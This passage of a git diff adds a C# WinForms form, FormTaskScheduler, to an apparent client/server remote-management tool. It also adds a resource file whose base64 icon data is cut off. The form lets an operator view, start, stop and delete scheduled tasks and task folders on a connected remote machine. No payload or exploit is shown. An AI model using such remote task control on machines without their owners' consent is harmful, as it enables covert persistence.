stringList.ToArray(); + } + + private void FormTasksheduler_Load(object sender, EventArgs e) + { + if (Customs.customs.Theme != MetroThemeStyle.Dark) + { + this.Theme = Customs.customs.Theme; + this.metroGrid1.Theme = Customs.customs.Theme; + this.treeView1.BackColor = Customs.customs.ThemeToColor(); + Program.form.SetThemeContextMenu(Customs.customs.Theme, this.contextMenuForClients); + Program.form.SetThemeContextMenu(Customs.customs.Theme, this.contextMenuStrip1); + } + if (Customs.customs.Style != MetroColorStyle.Lime) + { + this.Style = Customs.customs.Style; + this.metroGrid1.Style = Customs.customs.Style; + this.treeView1.ForeColor = Customs.customs.StyleToColor(); + } + this.metroGrid1.DefaultCellStyle = new DataGridViewCellStyle() + { + Alignment = DataGridViewContentAlignment.MiddleLeft, + ForeColor = Customs.customs.StyleToColor(), + Font = new Font("Segoe UI", 11f, FontStyle.Regular, GraphicsUnit.Pixel), + BackColor = Customs.customs.Theme == MetroThemeStyle.Dark ? Color.FromArgb(17, 17, 17) : Color.White, + SelectionForeColor = Customs.customs.Theme == MetroThemeStyle.Dark ? Color.FromArgb(17, 17, 17) : Color.White, + SelectionBackColor = Customs.customs.StyleToColor(), + WrapMode = DataGridViewTriState.False + }; + this.metroGrid1.RowTemplate.Resizable = DataGridViewTriState.True; + this.metroGrid1.RowTemplate.MinimumHeight = 30; + this.FormClosing += (FormClosingEventHandler) ((t, p) => + { + if (this.Client == null) + return; + this.Client.Disconnected(); + }); + } + + public void BuildTree(IEnumerable list) + { + foreach (string str in list) + { + TreeNodeCollection nodes = this.treeView1.Nodes; + char[] chArray = new char[1] + { + Path.DirectorySeparatorChar + }; + foreach (string name in str.Split(chArray)) + nodes = this.FindOrCreateNode(nodes, name).Nodes; + } + } + + private TreeNode FindOrCreateNode(TreeNodeCollection coll, string name) + { + TreeNode[] treeNodeArray = coll.Find(name.ToLower(), false); + return treeNodeArray.Length != 0 ? treeNodeArray[0] : coll.Add(name.ToLower(), name); + } + + private void treeView1_AfterSelect(object sender, TreeViewEventArgs e) + { + this.metroGrid1.Rows.Clear(); + this.path = e.Node.FullPath; + this.Client.Send((object) ("GetTasks<@>" + this.path)); + } + + private void installingToolStripMenuItem_Click(object sender, EventArgs e) + { + this.Client.Send((object) "Update"); + } + + private void toolStripMenuItem1_Click(object sender, EventArgs e) + { + this.metroGrid1.Rows.Clear(); + this.Client.Send((object) ("GetTasks<@>" + this.path)); + } + + private void removeToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (string str in this.TaskNameSelected()) + this.Client.Send((object) $"Remove<@>{this.path}<@>{str}"); + } + + private void timer1_Tick(object sender, EventArgs e) + { + if (this.Client.Connect && this.patternclient.Connect) + return; + this.Close(); + } + + private void createFolderToolStripMenuItem_Click(object sender, EventArgs e) + { + InputBoxCustom inputBoxCustom = new InputBoxCustom(); + inputBoxCustom.Text = "Create Folder"; + inputBoxCustom.Input.Text = "Please Write Name Folder"; + int num = (int) inputBoxCustom.ShowDialog(); + this.Client.Send((object) $"CreateFolder<@>{this.path}<@>{inputBoxCustom.Input.Text}"); + } + + private void removeFolderToolStripMenuItem_Click(object sender, EventArgs e) + { + this.Client.Send((object) ("RemoveFolder<@>" + this.path)); + } + + private void startToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (string str in this.TaskNameSelected()) + this.Client.Send((object) $"Start<@>{this.path}<@>{str}"); + } + + private void stopToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (string str in this.TaskNameSelected()) + this.Client.Send((object) $"Stop<@>{this.path}<@>{str}"); + } + + protected override void Dispose(bool disposing) + { + if (disposing && this.components != null) + this.components.Dispose(); + base.Dispose(disposing); + } + + private void InitializeComponent() + { + this.components = (IContainer) new System.ComponentModel.Container(); + ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (FormTaskScheduler)); + DataGridViewCellStyle gridViewCellStyle1 = new DataGridViewCellStyle(); + DataGridViewCellStyle gridViewCellStyle2 = new DataGridViewCellStyle(); + DataGridViewCellStyle gridViewCellStyle3 = new DataGridViewCellStyle(); + this.treeView1 = new TreeView(); + this.contextMenuForClients = new ContextMenuStrip(this.components); + this.installingToolStripMenuItem = new ToolStripMenuItem(); + this.createFolderToolStripMenuItem = new ToolStripMenuItem(); + this.removeFolderToolStripMenuItem = new ToolStripMenuItem(); + this.imageList1 = new ImageList(this.components); + this.metroGrid1 = new MetroGrid(); + this.Img = new DataGridViewImageColumn(); + this.NameSh = new DataGridViewTextBoxColumn(); + this.Status = new DataGridViewTextBoxColumn(); + this.Trigger = new DataGridViewTextBoxColumn(); + this.TimeNext = new DataGridViewTextBoxColumn(); + this.TimeLast = new DataGridViewTextBoxColumn(); + this.Result = new DataGridViewTextBoxColumn(); + this.Author = new DataGridViewTextBoxColumn(); + this.Create = new DataGridViewTextBoxColumn(); + this.contextMenuStrip1 = new ContextMenuStrip(this.components); + this.toolStripMenuItem1 = new ToolStripMenuItem(); + this.removeToolStripMenuItem = new ToolStripMenuItem(); + this.startToolStripMenuItem = new ToolStripMenuItem(); + this.stopToolStripMenuItem = new ToolStripMenuItem(); + this.timer1 = new Timer(this.components); + this.contextMenuForClients.SuspendLayout(); + ((ISupportInitialize) this.metroGrid1).BeginInit(); + this.contextMenuStrip1.SuspendLayout(); + this.SuspendLayout(); + this.treeView1.Anchor = AnchorStyles.Top | AnchorStyles.Bottom | AnchorStyles.Left; + this.treeView1.BackColor = Color.FromArgb(17, 17, 17); + this.treeView1.ContextMenuStrip = this.contextMenuForClients; + this.treeView1.ForeColor = Color.Yellow; + this.treeView1.ImageIndex = 1; + this.treeView1.ImageList = this.imageList1; + this.treeView1.Location = new Point(24, 78); + this.treeView1.Name = "treeView1"; + this.treeView1.SelectedImageIndex = 1; + this.treeView1.Size = new Size(298, 479); + this.treeView1.TabIndex = 9; + this.treeView1.AfterSelect += new TreeViewEventHandler(this.treeView1_AfterSelect); + this.contextMenuForClients.Items.AddRange(new ToolStripItem[3] + { + (ToolStripItem) this.installingToolStripMenuItem, + (ToolStripItem) this.createFolderToolStripMenuItem, + (ToolStripItem) this.removeFolderToolStripMenuItem + }); + this.contextMenuForClients.Name = "contextMenuStrip1"; + this.contextMenuForClients.ShowImageMargin = false; + this.contextMenuForClients.Size = new Size(129, 70); + this.installingToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.installingToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.installingToolStripMenuItem.Name = "installingToolStripMenuItem"; + this.installingToolStripMenuItem.Size = new Size(128 /*0x80*/, 22); + this.installingToolStripMenuItem.Text = "Update"; + this.installingToolStripMenuItem.Click += new EventHandler(this.installingToolStripMenuItem_Click); + this.createFolderToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.createFolderToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.createFolderToolStripMenuItem.Name = "createFolderToolStripMenuItem"; + this.createFolderToolStripMenuItem.Size = new Size(128 /*0x80*/, 22); + this.createFolderToolStripMenuItem.Text = "Create Folder"; + this.createFolderToolStripMenuItem.Click += new EventHandler(this.createFolderToolStripMenuItem_Click); + this.removeFolderToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.removeFolderToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.removeFolderToolStripMenuItem.Name = "removeFolderToolStripMenuItem"; + this.removeFolderToolStripMenuItem.Size = new Size(128 /*0x80*/, 22); + this.removeFolderToolStripMenuItem.Text = "Remove Folder"; + this.removeFolderToolStripMenuItem.Click += new EventHandler(this.removeFolderToolStripMenuItem_Click); + this.imageList1.ImageStream = (ImageListStreamer) componentResourceManager.GetObject("imageList1.ImageStream"); + this.imageList1.TransparentColor = Color.Transparent; + this.imageList1.Images.SetKeyName(0, "task.ico"); + this.imageList1.Images.SetKeyName(1, "downloadfolderblank_99350.png"); + this.metroGrid1.AllowUserToAddRows = false; + this.metroGrid1.AllowUserToDeleteRows = false; + this.metroGrid1.AllowUserToResizeRows = false; + this.metroGrid1.Anchor = AnchorStyles.Top | AnchorStyles.Bottom | AnchorStyles.Left | AnchorStyles.Right; + this.metroGrid1.BackgroundColor = Color.FromArgb(17, 17, 17); + this.metroGrid1.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.metroGrid1.CellBorderStyle = DataGridViewCellBorderStyle.None; + this.metroGrid1.ClipboardCopyMode = DataGridViewClipboardCopyMode.Disable; + this.metroGrid1.ColumnHeadersBorderStyle = DataGridViewHeaderBorderStyle.None; + gridViewCellStyle1.Alignment = DataGridViewContentAlignment.MiddleLeft; + gridViewCellStyle1.BackColor = Color.FromArgb(142, 188, 0); + gridViewCellStyle1.Font = new Font("Segoe UI", 11f, FontStyle.Regular, GraphicsUnit.Pixel); + gridViewCellStyle1.ForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle1.SelectionBackColor = Color.FromArgb(165, 219, 0); + gridViewCellStyle1.SelectionForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle1.WrapMode = DataGridViewTriState.True; + this.metroGrid1.ColumnHeadersDefaultCellStyle = gridViewCellStyle1; + this.metroGrid1.ColumnHeadersHeightSizeMode = DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.metroGrid1.Columns.AddRange((DataGridViewColumn) this.Img, (DataGridViewColumn) this.NameSh, (DataGridViewColumn) this.Status, (DataGridViewColumn) this.Trigger, (DataGridViewColumn) this.TimeNext, (DataGridViewColumn) this.TimeLast, (DataGridViewColumn) this.Result, (DataGridViewColumn) this.Author, (DataGridViewColumn) this.Create); + this.metroGrid1.ContextMenuStrip = this.contextMenuStrip1; + gridViewCellStyle2.Alignment = DataGridViewContentAlignment.MiddleLeft; + gridViewCellStyle2.BackColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle2.Font = new Font("Segoe UI", 11f, FontStyle.Regular, GraphicsUnit.Pixel); + gridViewCellStyle2.ForeColor = Color.FromArgb(109, 109, 109); + gridViewCellStyle2.SelectionBackColor = Color.FromArgb(165, 219, 0); + gridViewCellStyle2.SelectionForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle2.WrapMode = DataGridViewTriState.False; + this.metroGrid1.DefaultCellStyle = gridViewCellStyle2; + this.metroGrid1.EnableHeadersVisualStyles = false; + this.metroGrid1.Font = new Font("Segoe UI", 11f, FontStyle.Regular, GraphicsUnit.Pixel); + this.metroGrid1.GridColor = Color.FromArgb(17, 17, 17); + this.metroGrid1.Location = new Point(341, 78); + this.metroGrid1.Name = "metroGrid1"; + this.metroGrid1.ReadOnly = true; + this.metroGrid1.RowHeadersBorderStyle = DataGridViewHeaderBorderStyle.None; + gridViewCellStyle3.Alignment = DataGridViewContentAlignment.MiddleLeft; + gridViewCellStyle3.BackColor = Color.FromArgb(142, 188, 0); + gridViewCellStyle3.Font = new Font("Segoe UI", 11f, FontStyle.Regular, GraphicsUnit.Pixel); + gridViewCellStyle3.ForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle3.SelectionBackColor = Color.FromArgb(165, 219, 0); + gridViewCellStyle3.SelectionForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle3.WrapMode = DataGridViewTriState.True; + this.metroGrid1.RowHeadersDefaultCellStyle = gridViewCellStyle3; + this.metroGrid1.RowHeadersVisible = false; + this.metroGrid1.RowHeadersWidthSizeMode = DataGridViewRowHeadersWidthSizeMode.DisableResizing; + this.metroGrid1.SelectionMode = DataGridViewSelectionMode.FullRowSelect; + this.metroGrid1.Size = new Size(1026, 479); + this.metroGrid1.Style = MetroColorStyle.Lime; + this.metroGrid1.TabIndex = 13; + this.metroGrid1.Theme = MetroThemeStyle.Dark; + this.Img.AutoSizeMode = DataGridViewAutoSizeColumnMode.AllCells; + this.Img.HeaderText = ""; + this.Img.Name = "Img"; + this.Img.ReadOnly = true; + this.Img.Width = 5; + this.NameSh.AutoSizeMode = DataGridViewAutoSizeColumnMode.AllCells; + this.NameSh.HeaderText = "Name"; + this.NameSh.Name = "NameSh"; + this.NameSh.ReadOnly = true; + this.NameSh.Width = 59; + this.Status.AutoSizeMode = DataGridViewAutoSizeColumnMode.AllCells; + this.Status.HeaderText = "Status"; + this.Status.Name = "Status"; + this.Status.ReadOnly = true; + this.Status.Width = 62; + this.Trigger.AutoSizeMode = DataGridViewAutoSizeColumnMode.AllCells; + this.Trigger.HeaderText = "Trigger"; + this.Trigger.Name = "Trigger"; + this.Trigger.ReadOnly = true; + this.Trigger.Width = 66; + this.TimeNext.AutoSizeMode = DataGridViewAutoSizeColumnMode.AllCells; + this.TimeNext.HeaderText = "Time of the next launch"; + this.TimeNext.Name = "TimeNext"; + this.TimeNext.ReadOnly = true; + this.TimeNext.Width = 106; + this.TimeLast.AutoSizeMode = DataGridViewAutoSizeColumnMode.AllCells; + this.TimeLast.HeaderText = "Time of the last launch"; + this.TimeLast.Name = "TimeLast"; + this.TimeLast.ReadOnly = true; + this.TimeLast.Width = 103; + this.Result.AutoSizeMode = DataGridViewAutoSizeColumnMode.AllCells; + this.Result.HeaderText = "Result of the last run"; + this.Result.Name = "Result"; + this.Result.ReadOnly = true; + this.Result.Width = 91; + this.Author.AutoSizeMode = DataGridViewAutoSizeColumnMode.AllCells; + this.Author.HeaderText = "Author"; + this.Author.Name = "Author"; + this.Author.ReadOnly = true; + this.Author.Width = 66; + this.Create.AutoSizeMode = DataGridViewAutoSizeColumnMode.Fill; + this.Create.HeaderText = "Create"; + this.Create.Name = "Create"; + this.Create.ReadOnly = true; + this.contextMenuStrip1.Items.AddRange(new ToolStripItem[4] + { + (ToolStripItem) this.toolStripMenuItem1, + (ToolStripItem) this.removeToolStripMenuItem, + (ToolStripItem) this.startToolStripMenuItem, + (ToolStripItem) this.stopToolStripMenuItem + }); + this.contextMenuStrip1.Name = "contextMenuStrip1"; + this.contextMenuStrip1.ShowImageMargin = false; + this.contextMenuStrip1.Size = new Size(156, 114); + this.toolStripMenuItem1.BackColor = Color.FromArgb(17, 17, 17); + this.toolStripMenuItem1.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.toolStripMenuItem1.Name = "toolStripMenuItem1"; + this.toolStripMenuItem1.Size = new Size(155, 22); + this.toolStripMenuItem1.Text = "Update"; + this.toolStripMenuItem1.Click += new EventHandler(this.toolStripMenuItem1_Click); + this.removeToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.removeToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.removeToolStripMenuItem.Name = "removeToolStripMenuItem"; + this.removeToolStripMenuItem.Size = new Size(155, 22); + this.removeToolStripMenuItem.Text = "Remove"; + this.removeToolStripMenuItem.Click += new EventHandler(this.removeToolStripMenuItem_Click); + this.startToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.startToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.startToolStripMenuItem.Name = "startToolStripMenuItem"; + this.startToolStripMenuItem.Size = new Size(155, 22); + this.startToolStripMenuItem.Text = "Start"; + this.startToolStripMenuItem.Click += new EventHandler(this.startToolStripMenuItem_Click); + this.stopToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.stopToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.stopToolStripMenuItem.Name = "stopToolStripMenuItem"; + this.stopToolStripMenuItem.Size = new Size(155, 22); + this.stopToolStripMenuItem.Text = "Stop"; + this.stopToolStripMenuItem.Click += new EventHandler(this.stopToolStripMenuItem_Click); + this.timer1.Interval = 1000; + this.timer1.Tick += new EventHandler(this.timer1_Tick); + this.AutoScaleDimensions = new SizeF(6f, 13f); + this.AutoScaleMode = AutoScaleMode.Font; + this.ClientSize = new Size(1390, 580); + this.Controls.Add((Control) this.metroGrid1); + this.Controls.Add((Control) this.treeView1); + this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon"); + this.Name = nameof (FormTaskScheduler); + this.Style = MetroColorStyle.Lime; + this.Text = "TaskScheduler"; + this.TextAlign = MetroFormTextAlign.Center; + this.Theme = MetroThemeStyle.Dark; + this.Load += new EventHandler(this.FormTasksheduler_Load); + this.contextMenuForClients.ResumeLayout(false); + ((ISupportInitialize) this.metroGrid1).EndInit(); + this.contextMenuStrip1.ResumeLayout(false); + this.ResumeLayout(false); + } +} +} diff --git a/Server/Server/Forms/FormTaskScheduler.resx b/Server/Server/Forms/FormTaskScheduler.resx new file mode 100644 index 0000000..2de8a0d --- /dev/null +++ b/Server/Server/Forms/FormTaskScheduler.resx @@ -0,0 +1,126 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 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